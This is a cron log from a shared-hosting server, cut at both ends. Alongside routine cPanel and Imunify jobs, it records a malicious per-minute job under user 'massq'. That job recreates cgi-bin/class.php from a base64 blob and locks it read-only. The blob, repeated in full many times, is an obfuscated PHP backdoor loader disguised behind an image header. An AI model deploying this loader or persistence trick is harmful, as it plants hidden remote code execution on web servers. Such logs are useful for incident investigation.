ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:25:01 server CROND[29174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:26:01 server CROND[30008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:26:01 server CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:26:01 server CROND[30010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:27:01 server CROND[30399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:27:01 server CROND[30400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 22:27:01 server CROND[30401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:27:01 server CROND[30402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:28:01 server CROND[30776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:28:01 server CROND[30777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:28:01 server CROND[30778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:29:01 server CROND[31234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:29:01 server CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:29:01 server CROND[31236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:30:01 server CROND[31621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:30:01 server CROND[31623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:30:01 server CROND[31624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:30:01 server CROND[31627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:30:01 server CROND[31628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:30:01 server CROND[31625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:30:01 server CROND[31633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:30:01 server CROND[31629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:31:01 server CROND[32464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:31:01 server CROND[32465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:31:01 server CROND[32466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:32:01 server CROND[378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:32:01 server CROND[377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:32:01 server CROND[379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:33:01 server CROND[780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:33:01 server CROND[781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:33:01 server CROND[782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:34:01 server CROND[1213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:34:01 server CROND[1214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:34:01 server CROND[1219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:35:01 server CROND[1721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:35:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:35:01 server CROND[1730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:35:01 server CROND[1729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:35:01 server CROND[1737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:35:01 server CROND[1735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:35:01 server CROND[1738]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 22:35:01 server CROND[1736]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:35:01 server CROND[1732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:36:01 server CROND[2611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:36:01 server CROND[2612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:36:01 server CROND[2613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:37:01 server CROND[3012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:37:01 server CROND[3013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:37:01 server CROND[3014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
